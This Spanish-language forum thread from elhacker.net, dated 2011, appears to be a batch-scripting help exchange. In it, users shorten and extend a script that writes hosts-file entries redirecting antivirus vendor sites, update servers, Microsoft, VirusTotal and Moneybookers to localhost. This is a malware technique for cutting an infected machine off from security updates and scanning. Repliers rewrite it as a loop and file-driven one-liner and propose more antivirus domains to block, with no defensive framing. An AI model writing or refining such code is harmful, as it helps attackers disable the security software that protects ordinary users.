Foro de elhacker.net

Programación => Scripting => Mensaje iniciado por: Karcrack en 3 Febrero 2011, 22:10 pm



Título: [BATCH] Duda sobre ¿Arrays? [Solucionado]
Publicado por: Karcrack en 3 Febrero 2011, 22:10 pm
Mi duda es simple... se puede en BATCH utilizar algun tipo de array?

Se que con una busqueda en google tendria la respuesta.. pero aprovecho que abro este tema y pregunto a aquellos que se consideran buenos en este lenguaje de Scripting... Como acortarias al maximo este codigo?
Código:
@echo off
set hosts=%windir%\System32\drivers\etc\hosts
echo. >> %hosts%
echo 127.0.0.1 avp.com >> %hosts%
echo 127.0.0.1 ca.com >> %hosts%
echo 127.0.0.1 customer.symantec.com >> %hosts%
echo 127.0.0.1 dispatch.mcafee.com >> %hosts%
echo 127.0.0.1 download.mcafee.com >> %hosts%
echo 127.0.0.1 f-secure.com >> %hosts%
echo 127.0.0.1 kaspersky.com >> %hosts%
echo 127.0.0.1 kaspersky-labs.com >> %hosts%
echo 127.0.0.1 liveupdate.symantec.com >> %hosts%
echo 127.0.0.1 liveupdate.symantecliveupdate.com >> %hosts%
echo 127.0.0.1 mast.mcafee.com >> %hosts%
echo 127.0.0.1 mcafee.com >> %hosts%
echo 127.0.0.1 microsoft.com >> %hosts%
echo 127.0.0.1 my-etrust.com >> %hosts%
echo 127.0.0.1 nai.com >> %hosts%
echo 127.0.0.1 networkassociates.com >> %hosts%
echo 127.0.0.1 pandasoftware.com >> %hosts%
echo 127.0.0.1 rads.mcafee.com >> %hosts%
echo 127.0.0.1 secure.nai.com >> %hosts%
echo 127.0.0.1 securityresponse.symantec.com >> %hosts%
echo 127.0.0.1 sophos.com >> %hosts%
echo 127.0.0.1 symantec.com >> %hosts%
echo 127.0.0.1 trendmicro.com >> %hosts%
echo 127.0.0.1 updates.symantec.com >> %hosts%
echo 127.0.0.1 update.symantec.com >> %hosts%
echo 127.0.0.1 us.mcafee.com >> %hosts%
echo 127.0.0.1 viruslist.com >> %hosts%
echo 127.0.0.1 virustotal.com >> %hosts%
echo 127.0.0.1 www.avp.com >> %hosts%
echo 127.0.0.1 www.f-secure.com >> %hosts%
echo 127.0.0.1 www.grisoft.com >> %hosts%
echo 127.0.0.1 www.kaspersky.com >> %hosts%
echo 127.0.0.1 www.mcafee.com >> %hosts%
echo 127.0.0.1 www.microsoft.com >> %hosts%
echo 127.0.0.1 www.moneybookers.com >> %hosts%
echo 127.0.0.1 www.my-etrust.com >> %hosts%
echo 127.0.0.1 www.nai.com >> %hosts%
echo 127.0.0.1 www.networkassociates.com >> %hosts%
echo 127.0.0.1 www.pandasoftware.com >> %hosts%
echo 127.0.0.1 www.sophos.com >> %hosts%
echo 127.0.0.1 www.symantec.com >> %hosts%
echo 127.0.0.1 www.trendmicro.com >> %hosts%
echo 127.0.0.1 www.virustotal.com >> %hosts%

Estoy harto de ver estos codigos tan repetitivos en BATCH... y me pregunto... no se pueden acortar con un simple bucle?!

Un saludo :D


Título: Re: [BATCH] Duda sobre ¿Arrays?
Publicado por: leogtz en 3 Febrero 2011, 22:37 pm
Mi duda es simple... se puede en BATCH utilizar algun tipo de array?


Sí, se pueden "emular" con expansión de variables. set + setlocalenabledelayedexpansion.
Y no los necesitas para tu propósito.

Estoy harto de ver estos codigos tan repetitivos en BATCH... y me pregunto... no se pueden acortar con un simple bucle?!


Sí.

Sin probar:

Código
  1. @echo off
  2. set "hosts=%windir%\System32\drivers\etc\hosts"
  3. for %%_ in (avp.com ca.com customer.symantec.com dispatch.mcafee.com download.mcafee.com f-secure.com kaspersky.com kaspersky-labs.com liveupdate.symantec.com liveupdate.symantecliveupdate.com mast.mcafee.com mcafee.com microsoft.com my-etrust.com nai.com networkassociates.com pandasoftware.com rads.mcafee.com secure.nai.com securityresponse.symantec.com sophos.com symantec.com trendmicro.com updates.symantec.com update.symantec.com us.mcafee.com viruslist.com virustotal.com www.avp.com www.f-secure.com www.grisoft.com www.kaspersky.com www.mcafee.com www.microsoft.com www.moneybookers.com www.my-etrust.com www.nai.com www.networkassociates.com www.pandasoftware.com www.sophos.com www.symantec.com www.trendmicro.com www.virustotal.com) do (
  4. echo 127.0.0.1 %%_ >> %hosts%
  5. )

Si colocaras los sitios en un archivo llamado "sitios.txt", podrías hacer algo como:

Código
  1. @for /f "tokens=*" %%_ in (sitios.txt) do (echo 127.0.0.1 >> %windir%\System32\drivers\etc\hosts)
  2.  
Las dudas sobre Batch van en Scripting.


Título: Re: [BATCH] Duda sobre ¿Arrays?
Publicado por: Karcrack en 4 Febrero 2011, 11:02 am
Muy buena respuesta, muchas gracias :)
Ya doy el tema por zanjado :)

Las dudas sobre Batch van en Scripting.
Si, obvio, pero no me fije donde estaba posteando :-[ Gracias por moverlo ;)


Título: Re: [BATCH] Duda sobre ¿Arrays?
Publicado por: Edu en 4 Febrero 2011, 15:44 pm
y para lo de poner siempre >> %hosts% podes hacer algo asi:

Código:
@echo off
set "hosts=%windir%\System32\drivers\etc\hosts"
(
echo 127.0.0.1    vscan.novirusthanks.org
echo 127.0.0.1    avast.com) >> %hosts%
exit

Que por cierto te faltan esos 2 xD

Edit: Despues me di cuenta q eras vs Karcrack -_- ' ni mires mi respuesta jaja